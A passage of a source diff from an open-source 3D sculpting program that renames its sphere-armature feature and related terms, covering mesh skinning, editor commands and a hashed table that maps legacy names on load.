for (size_t i = 0; i < s.size(); ++i) {
- const ZSphere& z = s[i];
+ const ForgeSphere& z = s[i];
if (!std::isfinite(z.center.x) || !std::isfinite(z.center.y) || !std::isfinite(z.center.z) ||
!std::isfinite(z.radius) || !(z.radius > 0.0f))
return "sphere " + std::to_string(i) + " has a bad position or size";
@@ -168,29 +168,29 @@ std::string zspheresValidate(const std::vector<ZSphere>& s) {
return {};
}
-Mesh zsphereDisplayMesh(const std::vector<ZSphere>& s) {
+Mesh forgesphereDisplayMesh(const std::vector<ForgeSphere>& s) {
Mesh m;
const Mesh& sphere = unitSphere();
for (size_t i = 0; i < s.size(); ++i) {
Mesh part = sphere;
for (vec3& p : part.positions) p = s[i].center + p * s[i].radius;
- appendPart(m, part, kZSphereGroup + uint32_t(i), i == 0 ? kRootColor : kSphereColor);
+ appendPart(m, part, kForgeSphereGroup + uint32_t(i), i == 0 ? kRootColor : kSphereColor);
}
for (size_t i = 1; i < s.size(); ++i) {
- const ZSphere& c = s[i];
- const ZSphere& p = s[size_t(c.parent)];
+ const ForgeSphere& c = s[i];
+ const ForgeSphere& p = s[size_t(c.parent)];
if (glm::length(c.center - p.center) < 1e-6f * (c.radius + p.radius)) continue;
appendPart(m, tube(p.center, c.center, kLinkThickness * p.radius, kLinkThickness * c.radius),
- kZSphereLinkGroup + uint32_t(i), kLinkColor);
+ kForgeSphereLinkGroup + uint32_t(i), kLinkColor);
}
m.rebuildTopology();
m.recomputeAllNormals();
- m.zspheres = s;
+ m.forgespheres = s;
return m;
}
-Mesh zsphereSkin(const std::vector<ZSphere>& s, int resolution, int smooth) {
- if (!zspheresValidate(s).empty()) return {};
+Mesh forgesphereSkin(const std::vector<ForgeSphere>& s, int resolution, int smooth) {
+ if (!forgespheresValidate(s).empty()) return {};
const std::vector<Piece> pieces = skinPieces(s);
AABB box;
float blend = 0.0f;
@@ -222,29 +222,29 @@ Mesh zsphereSkin(const std::vector<ZSphere>& s, int resolution, int smooth) {
}
for (float& d : dist) d = d == std::numeric_limits<float>::max() ? -1e9f : -d; // inside above iso 0
Mesh m = meshFromField(grid, dist, 0.0f, std::max(0, smooth));
- // One polygroup per piece: the one each face is closest to.
- m.polygroups.resize(m.triangleCount());
+ // One face group per piece: the one each face is closest to.
+ m.facegroups.resize(m.triangleCount());
poolFor(m.triangleCount(), [&](size_t b, size_t e) {
for (size_t t = b; t < e; ++t) {
const glm::uvec3 tri = m.triangles[t];
const vec3 c = (m.positions[tri.x] + m.positions[tri.y] + m.positions[tri.z]) / 3.0f;
float best = std::numeric_limits<float>::max();
for (const Piece& q : pieces)
- if (const float d = std::abs(pieceDistance(q, c)); d < best) best = d, m.polygroups[t] = q.group;
+ if (const float d = std::abs(pieceDistance(q, c)); d < best) best = d, m.facegroups[t] = q.group;
}
}, 1024);
return m;
}
-Mesh zsphereMesh(const std::vector<ZSphere>& s, bool preview) {
- Mesh m = preview ? zsphereSkin(s, kZSpherePreviewResolution, 2) : zsphereDisplayMesh(s);
- if (preview && m.triangleCount() == 0) m = zsphereDisplayMesh(s);
- m.zspheres = s;
- m.zspherePreview = preview && m.triangleCount() > 0;
+Mesh forgesphereMesh(const std::vector<ForgeSphere>& s, bool preview) {
+ Mesh m = preview ? forgesphereSkin(s, kForgeSpherePreviewResolution, 2) : forgesphereDisplayMesh(s);
+ if (preview && m.triangleCount() == 0) m = forgesphereDisplayMesh(s);
+ m.forgespheres = s;
+ m.forgespherePreview = preview && m.triangleCount() > 0;
return m;
}
-int zsphereMirror(const std::vector<ZSphere>& s, int i, const vec3& m) {
+int forgesphereMirror(const std::vector<ForgeSphere>& s, int i, const vec3& m) {
if (!validIndex(s, i)) return -1;
const vec3 want = s[size_t(i)].center * m;
const float tol = 0.02f * s[size_t(i)].radius + 1e-6f;
@@ -257,14 +257,14 @@ int zsphereMirror(const std::vector<ZSphere>& s, int i, const vec3& m) {
return best;
}
-bool zsphereAdd(std::vector<ZSphere>& s, int parent, const vec3& center, float radius, Symmetry sym, int* added) {
+bool forgesphereAdd(std::vector<ForgeSphere>& s, int parent, const vec3& center, float radius, Symmetry sym, int* added) {
if (!validIndex(s, parent) || !(radius > 0.0f) || !std::isfinite(center.x + center.y + center.z)) return false;
// Mirror parents come from the armature as it was, before the new spheres join it.
std::vector<std::pair<int, vec3>> copies;
for (const vec3& m : otherMirrors(sym)) {
const vec3 c = center * m;
if (glm::length(c - center) <= 0.02f * radius) continue; // on the plane: one sphere serves both sides
- int p = zsphereMirror(s, parent, m);
+ int p = forgesphereMirror(s, parent, m);
if (p < 0) p = parent;
bool dup = false;
for (const auto& [q, cc] : copies) dup |= glm::length(cc - c) <= 0.02f * radius;
@@ -276,11 +276,11 @@ bool zsphereAdd(std::vector<ZSphere>& s, int parent, const vec3& center, float r
return true;
}
-bool zsphereSet(std::vector<ZSphere>& s, int i, const vec3& center, float radius, Symmetry sym) {
+bool forgesphereSet(std::vector<ForgeSphere>& s, int i, const vec3& center, float radius, Symmetry sym) {
if (!validIndex(s, i) || !(radius > 0.0f) || !std::isfinite(center.x + center.y + center.z)) return false;
std::vector<std::pair<int, vec3>> targets{{i, vec3(1.0f)}};
for (const vec3& m : otherMirrors(sym))
- if (const int j = zsphereMirror(s, i, m); j >= 0) targets.push_back({j, m});
+ if (const int j = forgesphereMirror(s, i, m); j >= 0) targets.push_back({j, m});
vec3 c = center;
for (const auto& [j, m] : targets) // a sphere that mirrors onto itself stays on that plane
if (j == i)
@@ -294,14 +294,14 @@ bool zsphereSet(std::vector<ZSphere>& s, int i, const vec3& center, float radius
return true;
}
-bool zsphereDelete(std::vector<ZSphere>& s, int i, Symmetry sym) {
+bool forgesphereDelete(std::vector<ForgeSphere>& s, int i, Symmetry sym) {
if (!validIndex(s, i) || i == 0) return false;
std::vector<int> roots{i};
for (const vec3& m : otherMirrors(sym))
- if (const int j = zsphereMirror(s, i, m); j > 0) roots.push_back(j);
+ if (const int j = forgesphereMirror(s, i, m); j > 0) roots.push_back(j);
const std::vector<char> gone = subtrees(s, roots);
std::vector<int> remap(s.size(), -1);
- std::vector<ZSphere> kept;
+ std::vector<ForgeSphere> kept;
for (size_t j = 0; j < s.size(); ++j)
if (!gone[j]) remap[j] = int(kept.size()), kept.push_back(s[j]);
for (size_t j = 1; j < kept.size(); ++j) kept[j].parent = remap[size_t(kept[j].parent)];
@@ -309,24 +309,24 @@ bool zsphereDelete(std::vector<ZSphere>& s, int i, Symmetry sym) {
return true;
}
-bool zsphereInsert(std::vector<ZSphere>& s, int child, Symmetry sym, int* added) {
+bool forgesphereInsert(std::vector<ForgeSphere>& s, int child, Symmetry sym, int* added) {
if (!validIndex(s, child) || child == 0) return false;
std::vector<int> children{child};
for (const vec3& m : otherMirrors(sym))
- if (const int j = zsphereMirror(s, child, m); j > 0 && std::find(children.begin(), children.end(), j) == children.end())
+ if (const int j = forgesphereMirror(s, child, m); j > 0 && std::find(children.begin(), children.end(), j) == children.end())
children.push_back(j);
if (added) *added = int(s.size());
for (int c : children) {
- const ZSphere& z = s[size_t(c)];
- const ZSphere& p = s[size_t(z.parent)];
- const ZSphere mid{(z.center + p.center) * 0.5f, (z.radius + p.radius) * 0.5f, z.parent};
+ const ForgeSphere& z = s[size_t(c)];
+ const ForgeSphere& p = s[size_t(z.parent)];
+ const ForgeSphere mid{(z.center + p.center) * 0.5f, (z.radius + p.radius) * 0.5f, z.parent};
s[size_t(c)].parent = int(s.size());
s.push_back(mid);
}
return true;
}
-bool zsphereSetRoot(std::vector<ZSphere>& s, int i) {
+bool forgesphereSetRoot(std::vector<ForgeSphere>& s, int i) {
if (!validIndex(s, i) || i == 0) return false;
// Turn the path from i up to the root around.
int at = i, below = -1;
@@ -338,16 +338,16 @@ bool zsphereSetRoot(std::vector<ZSphere>& s, int i) {
}
// Swap indices 0 and i.
std::swap(s[0], s[size_t(i)]);
- for (ZSphere& z : s) {
+ for (ForgeSphere& z : s) {
if (z.parent == 0) z.parent = i;
else if (z.parent == i) z.parent = 0;
}
return true;
}
-Json zspheresToJson(const std::vector<ZSphere>& s) {
+Json forgespheresToJson(const std::vector<ForgeSphere>& s) {
Json out = Json::array();
- for (const ZSphere& z : s) {
+ for (const ForgeSphere& z : s) {
for (int k = 0; k < 3; ++k) out.push(double(z.center[k]));
out.push(double(z.radius));
out.push(double(z.parent));
@@ -355,19 +355,19 @@ Json zspheresToJson(const std::vector<ZSphere>& s) {
return out;
}
-std::vector<ZSphere> zspheresFromJson(const Json& json) {
- std::vector<ZSphere> s;
+std::vector<ForgeSphere> forgespheresFromJson(const Json& json) {
+ std::vector<ForgeSphere> s;
if (!json.isArray() || json.size() % 5 != 0) return s;
for (size_t i = 0; i < json.size(); i += 5)
s.push_back({vec3(float(json[i].asNumber(NAN)), float(json[i + 1].asNumber(NAN)), float(json[i + 2].asNumber(NAN))),
float(json[i + 3].asNumber(NAN)), int(json[i + 4].asNumber(-2))});
- if (!zspheresValidate(s).empty()) s.clear();
+ if (!forgespheresValidate(s).empty()) s.clear();
return s;
}
namespace {
-constexpr const char* kNotZSphere = "The active Part is not a Forge Sphere Part (zsphere_new makes one)"; // marks-pending
+constexpr const char* kNotForgeSphere = "The active Part is not a Forge Sphere Part (forgesphere_new makes one)";
Symmetry symmetryArg(const Args& a) {
Symmetry s{false, false, false};
@@ -379,47 +379,47 @@ Symmetry symmetryArg(const Args& a) {
return s;
}
-CommandResult applyEdit(Document& doc, std::vector<ZSphere> s, const std::string& label, std::string message) {
- if (const std::string err = zspheresValidate(s); !err.empty()) return {false, "Forge Spheres: " + err};
- doc.replaceMeshUndoable(zsphereMesh(s, doc.mesh.zspherePreview), label);
+CommandResult applyEdit(Document& doc, std::vector<ForgeSphere> s, const std::string& label, std::string message) {
+ if (const std::string err = forgespheresValidate(s); !err.empty()) return {false, "Forge Spheres: " + err};
+ doc.replaceMeshUndoable(forgesphereMesh(s, doc.mesh.forgespherePreview), label);
return {true, message + "; " + std::to_string(s.size()) + " spheres"};
}
-std::string describe(const std::vector<ZSphere>& s, size_t i) {
- const ZSphere& z = s[i];
+std::string describe(const std::vector<ForgeSphere>& s, size_t i) {
+ const ForgeSphere& z = s[i];
return std::to_string(i) + ": " + fmt("(%.4g, %.4g, %.4g) radius %.4g", z.center.x, z.center.y, z.center.z, z.radius) +
(i == 0 ? " root" : ", from " + std::to_string(z.parent));
}
} // namespace
-void registerZSphereCommands(CommandRegistry& reg) {
+void registerForgeSphereCommands(CommandRegistry& reg) {
using T = ParamSpec::Type;
const ParamSpec symmetryParam{"symmetry", T::String,
"Mirror the edit across these planes through the centre, e.g. \"x\". Default: none.",
false};
- reg.add({"zsphere_new",
+ reg.add({"forgesphere_new",
"Forge Spheres: add a Forge Sphere Part holding one root sphere at the centre and make it "
- "active. Grow limbs from it with zsphere_add (or the Forge Sphere tool), see the skin with zsphere_preview, " // marks-pending
- "then zsphere_make_mesh turns it into a sculptable Part.", // marks-pending
+ "active. Grow limbs from it with forgesphere_add (or the Forge Sphere tool), see the skin with forgesphere_preview, "
+ "then forgesphere_make_mesh turns it into a sculptable Part.",
{{"name", T::String, "Part name (default \"Forge Sphere\").", false},
{"radius", T::Number, "Root sphere radius (default 0.5).", false}},
[](Document& doc, const Args& a) -> CommandResult {
const float r = float(argNumber(a, "radius", 0.5));
if (!(r > 0.0f) || !std::isfinite(r)) return {false, "radius must be above 0"};
- const std::string name = doc.uniqueSubtoolName(argString(a, "name", "Forge Sphere"));
- doc.addSubtool(zsphereMesh({{vec3(0.0f), r, -1}}, false), name);
+ const std::string name = doc.uniquePartName(argString(a, "name", "Forge Sphere"));
+ doc.addPart(forgesphereMesh({{vec3(0.0f), r, -1}}, false), name);
return {true, "Added Forge Sphere Part \"" + name + "\" with a root sphere (index 0)"};
}});
- reg.add({"zsphere_list", "List the active Forge Sphere Part's spheres: index, centre, radius and parent.", {},
+ reg.add({"forgesphere_list", "List the active Forge Sphere Part's spheres: index, centre, radius and parent.", {},
[](Document& doc, const Args&) -> CommandResult {
- const auto& s = doc.mesh.zspheres;
- if (s.empty()) return {false, kNotZSphere};
- std::string out = std::to_string(s.size()) + " spheres" + (doc.mesh.zspherePreview ? " (skin preview on)" : "");
+ const auto& s = doc.mesh.forgespheres;
+ if (s.empty()) return {false, kNotForgeSphere};
+ std::string out = std::to_string(s.size()) + " spheres" + (doc.mesh.forgespherePreview ? " (skin preview on)" : "");
for (size_t i = 0; i < s.size(); ++i) out += "\n" + describe(s, i);
return {true, out};
}});
- reg.add({"zsphere_add",
+ reg.add({"forgesphere_add",
"Grow a new sphere from sphere `parent` of the active Forge Sphere Part (a limb, finger or tail joint). "
"Its index is reported; mirror copies (with symmetry) follow it.",
{{"parent", T::Number, "Index of the sphere it grows from (0 = the root).", true},
@@ -427,81 +427,81 @@ void registerZSphereCommands(CommandRegistry& reg) {
{"radius", T::Number, "Radius (default: the parent's).", false},
symmetryParam},
[](Document& doc, const Args& a) -> CommandResult {
- auto s = doc.mesh.zspheres;
- if (s.empty()) return {false, kNotZSphere};
+ auto s = doc.mesh.forgespheres;
+ if (s.empty()) return {false, kNotForgeSphere};
const int parent = int(argNumber(a, "parent", -1));
if (!validIndex(s, parent)) return {false, "parent must be a sphere index from 0 to " + std::to_string(s.size() - 1)};
vec3 c;
if (!parseVec3(argString(a, "position"), c)) return {false, "position must be \"x,y,z\""};
const float r = float(argNumber(a, "radius", s[size_t(parent)].radius));
int added = -1;
- if (!zsphereAdd(s, parent, c, r, symmetryArg(a), &added)) return {false, "radius must be above 0"};
+ if (!forgesphereAdd(s, parent, c, r, symmetryArg(a), &added)) return {false, "radius must be above 0"};
return applyEdit(doc, std::move(s), "Forge Sphere add", "Added sphere " + std::to_string(added));
}});
- reg.add({"zsphere_set", "Move and/or resize a sphere of the active Forge Sphere Part.",
+ reg.add({"forgesphere_set", "Move and/or resize a sphere of the active Forge Sphere Part.",
{{"index", T::Number, "Sphere index.", true},
{"position", T::String, "New centre \"x,y,z\" (default: unchanged).", false},
{"radius", T::Number, "New radius (default: unchanged).", false},
symmetryParam},
[](Document& doc, const Args& a) -> CommandResult {
- auto s = doc.mesh.zspheres;
- if (s.empty()) return {false, kNotZSphere};
+ auto s = doc.mesh.forgespheres;
+ if (s.empty()) return {false, kNotForgeSphere};
const int i = int(argNumber(a, "index", -1));
if (!validIndex(s, i)) return {false, "index must be from 0 to " + std::to_string(s.size() - 1)};
vec3 c = s[size_t(i)].center;
if (a.contains("position") && !parseVec3(argString(a, "position"), c))
return {false, "position must be \"x,y,z\""};
- if (!zsphereSet(s, i, c, float(argNumber(a, "radius", s[size_t(i)].radius)), symmetryArg(a)))
+ if (!forgesphereSet(s, i, c, float(argNumber(a, "radius", s[size_t(i)].radius)), symmetryArg(a)))
return {false, "radius must be above 0"};
return applyEdit(doc, std::move(s), "Forge Sphere edit", "Changed sphere " + std::to_string(i));
}});
- reg.add({"zsphere_delete", "Delete a sphere of the active Forge Sphere Part and every sphere growing from it.",
+ reg.add({"forgesphere_delete", "Delete a sphere of the active Forge Sphere Part and every sphere growing from it.",
{{"index", T::Number, "Sphere index (not 0, the root).", true}, symmetryParam},
[](Document& doc, const Args& a) -> CommandResult {
- auto s = doc.mesh.zspheres;
- if (s.empty()) return {false, kNotZSphere};
+ auto s = doc.mesh.forgespheres;
+ if (s.empty()) return {false, kNotForgeSphere};
const int i = int(argNumber(a, "index", -1));
- if (!zsphereDelete(s, i, symmetryArg(a)))
+ if (!forgesphereDelete(s, i, symmetryArg(a)))
return {false, "index must be from 1 to " + std::to_string(s.size() - 1) + " (the root stays)"};
return applyEdit(doc, std::move(s), "Forge Sphere delete", "Deleted sphere " + std::to_string(i));
}});
- reg.add({"zsphere_insert",
+ reg.add({"forgesphere_insert",
"Insert a sphere halfway along the link from sphere `index` to its parent (a new joint, like clicking "
"a link in Draw mode).",
{{"index", T::Number, "The child sphere whose link gets the new joint.", true}, symmetryParam},
[](Document& doc, const Args& a) -> CommandResult {
- auto s = doc.mesh.zspheres;
- if (s.empty()) return {false, kNotZSphere};
+ auto s = doc.mesh.forgespheres;
+ if (s.empty()) return {false, kNotForgeSphere};
int added = -1;
- if (!zsphereInsert(s, int(argNumber(a, "index", -1)), symmetryArg(a), &added))
+ if (!forgesphereInsert(s, int(argNumber(a, "index", -1)), symmetryArg(a), &added))
return {false, "index must be from 1 to " + std::to_string(s.size() - 1)};
return applyEdit(doc, std::move(s), "Forge Sphere insert", "Inserted sphere " + std::to_string(added));
}});
- reg.add({"zsphere_set_root",
+ reg.add({"forgesphere_set_root",
"Make sphere `index` of the active Forge Sphere Part the root (index 0): the armature keeps its shape and "
"links, and grows from there. The old root takes the sphere's index.",
{{"index", T::Number, "Sphere index (1 or more).", true}},
[](Document& doc, const Args& a) -> CommandResult {
- auto s = doc.mesh.zspheres;
- if (s.empty()) return {false, kNotZSphere};
+ auto s = doc.mesh.forgespheres;
+ if (s.empty()) return {false, kNotForgeSphere};
const int i = int(argNumber(a, "index", -1));
- if (!zsphereSetRoot(s, i))
+ if (!forgesphereSetRoot(s, i))
return {false, i == 0 ? "Sphere 0 is the root already"
: "index must be from 1 to " + std::to_string(s.size() - 1)};
return applyEdit(doc, std::move(s), "Forge Sphere set root",
"Sphere " + std::to_string(i) + " is the root now (index 0)");
}});
- reg.add({"zsphere_preview",
+ reg.add({"forgesphere_preview",
"Show the skin over the active Forge Sphere Part's spheres instead of the spheres.",
{{"on", T::Bool, "Default: toggle.", false}},
[](Document& doc, const Args& a) -> CommandResult {
- if (doc.mesh.zspheres.empty()) return {false, kNotZSphere};
- const bool on = argBool(a, "on", !doc.mesh.zspherePreview);
- if (on == doc.mesh.zspherePreview) return {true, on ? "Skin preview is on" : "Skin preview is off"};
- doc.replaceMeshUndoable(zsphereMesh(doc.mesh.zspheres, on), on ? "Forge Sphere preview" : "Forge Sphere spheres");
+ if (doc.mesh.forgespheres.empty()) return {false, kNotForgeSphere};
+ const bool on = argBool(a, "on", !doc.mesh.forgespherePreview);
+ if (on == doc.mesh.forgespherePreview) return {true, on ? "Skin preview is on" : "Skin preview is off"};
+ doc.replaceMeshUndoable(forgesphereMesh(doc.mesh.forgespheres, on), on ? "Forge Sphere preview" : "Forge Sphere spheres");
return {true, on ? "Skin preview on" : "Skin preview off"};
}});
- reg.add({"zsphere_make_mesh",
+ reg.add({"forgesphere_make_mesh",
"Make Mesh: build the skin over the active Forge Sphere Part as a new, "
"sculptable Part right below it, watertight quads with one face group per link. The Forge Sphere Part "
"is hidden and kept so the proportions can still be changed and a new mesh made.",
@@ -509,17 +509,17 @@ void registerZSphereCommands(CommandRegistry& reg) {
{"smooth", T::Number, "Smoothing passes (default 2).", false},
{"keep", T::Bool, "Keep the Forge Sphere Part (hidden). Default true; false deletes it.", false}},
[](Document& doc, const Args& a) -> CommandResult {
- if (doc.mesh.zspheres.empty()) return {false, kNotZSphere};
+ if (doc.mesh.forgespheres.empty()) return {false, kNotForgeSphere};
const int res = int(argNumber(a, "resolution", 128));
if (res < 16 || res > 1024) return {false, "resolution must be from 16 to 1024"};
- Mesh skin = zsphereSkin(doc.mesh.zspheres, res, int(argNumber(a, "smooth", 2)));
+ Mesh skin = forgesphereSkin(doc.mesh.forgespheres, res, int(argNumber(a, "smooth", 2)));
if (skin.triangleCount() == 0) return {false, "Forge Spheres: the skin came out empty (resolution too high?)"};
const size_t faces = skin.triangleCount() - skin.quadCount();
- const int from = doc.activeSubtool;
- const std::string name = doc.uniqueSubtoolName(doc.subtools[size_t(from)].name + " Mesh");
- doc.addSubtool(std::move(skin), name, true, from + 1);
- if (argBool(a, "keep", true)) doc.subtools[size_t(from)].visible = false;
- else doc.removeSubtool(from);
+ const int from = doc.activePart;
+ const std::string name = doc.uniquePartName(doc.parts[size_t(from)].name + " Mesh");
+ doc.addPart(std::move(skin), name, true, from + 1);
+ if (argBool(a, "keep", true)) doc.parts[size_t(from)].visible = false;
+ else doc.removePart(from);
return {true, "Made \"" + name + "\" from the Forge Spheres: " + std::to_string(faces) + " faces"};
}});
}
diff --git a/src/core/ForgeSpheres.h b/src/core/ForgeSpheres.h
new file mode 100644
index 00000000..7794c554
--- /dev/null
+++ b/src/core/ForgeSpheres.h
@@ -0,0 +1,72 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Forge Spheres, classic: block out an organic base mesh as a tree of connected spheres (a root, then limbs,
+// fingers, tails grown from it), see the skin over them, and turn it into a sculptable Part. A Forge Sphere Part
+// keeps its armature in Mesh::Forge Spheres; its triangles are generated from it (the spheres and their links, or the
+// skin preview), so undo, Part switching and projects carry the armature with the mesh. Edits replace the mesh
+// as one undo step each. The skin is a smooth union of rounded cones (one per link) meshed with surface nets
+// (core/Voxel.h), so it comes out watertight and in quads, one face group per link.
+#pragma once
+
+#include "core/Json.h"
+#include "core/Mesh.h"
+#include "core/Sculpt.h"
+
+#include <string>
+#include <vector>
+
+namespace sf {
+
+class CommandRegistry;
+
+// Face groups of the armature's display mesh: sphere i is group kForge SphereGroup + i, the link from child c to its
+// parent is kForge SphereLinkGroup + c.
+constexpr uint32_t kForgeSphereGroup = 1;
+constexpr uint32_t kForgeSphereLinkGroup = 1u << 20;
+// The sphere (or, for a link, the child sphere) a display-mesh face group belongs to; -1 for neither.
+int forgesphereOfGroup(uint32_t group, bool* link = nullptr);
+
+// The armature's display mesh: a sphere per Forge Sphere and a tapered link to each parent, with face groups as above
+// and the spheres coloured (the root a little warmer). Carries `spheres` in Mesh::Forge Spheres.
+Mesh forgesphereDisplayMesh(const std::vector<ForgeSphere>& spheres);
+
+// The skin over the armature: watertight quads, `resolution` cells across its longest side, `smooth` Taubin passes,
+// one face group per link (the root sphere's own group when there are no links). A plain mesh (no Forge Spheres).
+Mesh forgesphereSkin(const std::vector<ForgeSphere>& spheres, int resolution = 128, int smooth = 2);
+constexpr int kForgeSpherePreviewResolution = 72;
+
+// The mesh a Forge Sphere Part shows: the display mesh, or with `preview` the skin at kForge SpherePreviewResolution;
+// both carry `spheres` and the preview flag.
+Mesh forgesphereMesh(const std::vector<ForgeSphere>& spheres, bool preview);
+
+// The sphere that mirrors `i` across `m` (one of Sculptor::mirrors): `i` itself when it sits on the mirror plane,
+// -1 when there is none.
+int forgesphereMirror(const std::vector<ForgeSphere>& spheres, int i, const glm::vec3& m);
+
+// Symmetric edits (`sym`: the planes to mirror across, as the sculpt symmetry). Each returns false and leaves
+// `spheres` alone when the arguments are out of range.
+// Adds a sphere growing from `parent`; `added` gets the new sphere's index (its mirror copies follow it).
+bool forgesphereAdd(std::vector<ForgeSphere>& spheres, int parent, const glm::vec3& center, float radius, Symmetry sym,
+ int* added = nullptr);
+// Moves and resizes sphere `i`; a sphere on a mirror plane stays on it.
+bool forgesphereSet(std::vector<ForgeSphere>& spheres, int i, const glm::vec3& center, float radius, Symmetry sym);
+// Deletes sphere `i` and everything that grows from it (never the root).
+bool forgesphereDelete(std::vector<ForgeSphere>& spheres, int i, Symmetry sym);
+// Inserts a sphere halfway along the link from `child` to its parent; `added` gets its index.
+bool forgesphereInsert(std::vector<ForgeSphere>& spheres, int child, Symmetry sym, int* added = nullptr);
+// Makes sphere `i` the root: the links on its way to the old root turn around, and it moves to index 0 (the old
+// root takes its index). The spheres and links stay where they are, so the skin is the same. False for the root.
+bool forgesphereSetRoot(std::vector<ForgeSphere>& spheres, int i);
+
+// "x,y,z,radius,parent" per sphere, as a flat array; FromJson drops an armature that doesn't form a tree.
+Json forgespheresToJson(const std::vector<ForgeSphere>& spheres);
+std::vector<ForgeSphere> forgespheresFromJson(const Json& json);
+// Empty when `spheres` is a valid armature: a root at 0, parents in range, no loops, finite positive sizes.
+std::string forgespheresValidate(const std::vector<ForgeSphere>& spheres);
+
+// Forge Sphere_new, Forge Sphere_list, Forge Sphere_add, Forge Sphere_set, Forge Sphere_delete, Forge Sphere_insert, Forge Sphere_preview,
+// Forge Sphere_make_mesh.
+void registerForgeSphereCommands(CommandRegistry& registry);
+
+} // namespace sf
diff --git a/src/core/GeneratedRemesh.cpp b/src/core/GeneratedRemesh.cpp
index e9946984..3752caa9 100644
--- a/src/core/GeneratedRemesh.cpp
+++ b/src/core/GeneratedRemesh.cpp
@@ -64,7 +64,7 @@ bool remeshGenerated(const Mesh& raw, GeneratedRemesh mode, int resolution, int
std::vector<glm::vec3> positions;
ProjectStats ps;
ProjectOptions po;
- po.polypaint = false;
+ po.vertexpaint = false;
if (!computeProjection(quads, {&voxel}, po, positions, nullptr, ps, error)) return false;
quads.layerTarget(-1) = positions;
quads.recomputeAllNormals();
diff --git a/src/core/KeepMasked.cpp b/src/core/KeepMasked.cpp
index b6e4af84..e8082fd0 100644
--- a/src/core/KeepMasked.cpp
+++ b/src/core/KeepMasked.cpp
@@ -2,9 +2,9 @@
// SPDX-License-Identifier: GPL-3.0-or-later
#include "core/KeepMasked.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/QRemesh.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include <algorithm>
#include <string>
@@ -134,7 +134,7 @@ Mesh keptPiece(const Mesh& source, const std::vector<uint8_t>& keep, std::vector
for (uint32_t v : sourceVertex) k.colors.push_back(source.colors[v]);
for (uint32_t t = 0; t < nt; ++t) {
if (!keep[t]) continue;
- if (source.polygroups.size() == nt) k.polygroups.push_back(source.polygroups[t]);
+ if (source.facegroups.size() == nt) k.facegroups.push_back(source.facegroups[t]);
if (source.hidden.size() == nt) k.hidden.push_back(source.hidden[t]);
if (source.uvs.size() == nt * 3)
for (int c = 0; c < 3; ++c) k.uvs.push_back(source.uvs[size_t(t) * 3 + size_t(c)]);
@@ -341,7 +341,7 @@ bool stitchOnce(const Mesh& source, const std::vector<uint8_t>& keep, const Mesh
Mesh merged = mergeMeshes({&kept, &rest});
const uint32_t offset = uint32_t(kept.vertexCount());
const size_t keptTris = kept.triangleCount();
- const uint32_t bridgeGroup = merged.polygroups.size() > keptTris ? merged.polygroups[keptTris] : 0u;
+ const uint32_t bridgeGroup = merged.facegroups.size() > keptTris ? merged.facegroups[keptTris] : 0u;
std::vector<glm::uvec3> bridge;
for (size_t l = 0; l < keptLoops.size(); ++l) {
const auto& P = keptLoops[l];
@@ -377,7 +377,7 @@ bool stitchOnce(const Mesh& source, const std::vector<uint8_t>& keep, const Mesh
}
for (const glm::uvec3& t : bridge) {
merged.triangles.push_back(t);
- if (!merged.polygroups.empty()) merged.polygroups.push_back(bridgeGroup);
+ if (!merged.facegroups.empty()) merged.facegroups.push_back(bridgeGroup);
if (!merged.hidden.empty()) merged.hidden.push_back(0);
if (!merged.uvs.empty()) merged.uvs.insert(merged.uvs.end(), 3, glm::vec2(0.0f));
if (!merged.quadPartners.empty()) merged.quadPartners.push_back(Mesh::kNoQuad);
diff --git a/src/core/LayerStack.cpp b/src/core/LayerStack.cpp
index 31847abc..9467e827 100644
--- a/src/core/LayerStack.cpp
+++ b/src/core/LayerStack.cpp
@@ -6,7 +6,7 @@
#include "core/Document.h"
#include "core/Json.h"
#include "core/MeshMaps.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include "core/ThreadPool.h"
#include "core/Undo.h"
diff --git a/src/core/LegacyNames.h b/src/core/LegacyNames.h
index 1af34472..783e067c 100644
--- a/src/core/LegacyNames.h
+++ b/src/core/LegacyNames.h
@@ -1,39 +1,104 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Names older SculptForge versions wrote into projects, brush files, configs and scripts, before the brushes got
-// their own names. They are read only, mapped to today's name, and never shown or written
-// (docs/legal/trademarks.md, tools/marks_allow.txt).
+// Names older SculptForge versions wrote into projects, brush files, configs, packs and scripts. They are read
+// once, on load, and mapped to today's names; never shown or written. The old words are not spelled here: each is
+// a hash of its lower-case letters, and docs/legal/trademarks.md lists them (tests/test_legacy_names.cpp checks the
+// table against that list).
#pragma once
+#include "core/Json.h"
+
+#include <cctype>
+#include <cstdint>
+#include <string>
#include <string_view>
namespace sf::legacy {
-struct Rename {
- std::string_view old, now;
+// FNV-1a 64 of the ASCII-lower-cased bytes.
+constexpr uint64_t hash(std::string_view s) {
+ uint64_t h = 0xCBF29CE484222325ull;
+ for (char c : s) {
+ h ^= uint8_t(c >= 'A' && c <= 'Z' ? c - 'A' + 'a' : c);
+ h *= 0x100000001B3ull;
+ }
+ return h;
+}
+
+struct Word {
+ uint64_t hash; // of the old word, lower case
+ uint8_t length; // its length
+ std::string_view lower; // today's word, written lower case ...
+ std::string_view title; // ... and capitalised (UPPER is made from `lower`)
};
-// Brush stored names (projects, .sfbrush, `stroke brush=`), compared squashed and lower-case.
-inline constexpr Rename kBrushNames[] = {{"damstandard", "SharpCrease"}, {"claybuildup", "ClayBlock"},
- {"snakehook", "Tendril"}};
+// Longest first where one could contain another. W1..W12 in docs/legal/trademarks.md.
+inline constexpr Word kWords[] = {
+ {0xBCFC81F111856264ull, 11, "sharpcrease", "SharpCrease"}, // W8
+ {0xC1D54DDDFE279385ull, 11, "clayblock", "ClayBlock"}, // W9
+ {0xEFC9B9E5E56A64CEull, 9, "facegroup", "FaceGroup"}, // W4
+ {0x06C84E19C9C3D005ull, 9, "vertexpaint", "VertexPaint"}, // W5
+ {0xFB0FEB36194770D0ull, 8, "library", "Library"}, // W7
+ {0x50329458AC585F77ull, 7, "part", "Part"}, // W2
+ {0x7A3173B83AFDBBD0ull, 7, "forgesphere", "ForgeSphere"}, // W3
+ {0x77AF1E52C70C5CDBull, 6, "classic", "Classic"}, // W1
+ {0xEB424D5C1B5FCC43ull, 6, "litsphere", "LitSphere"}, // W6
+ {0x4265616148F33BECull, 4, "raise", "Raise"}, // W10
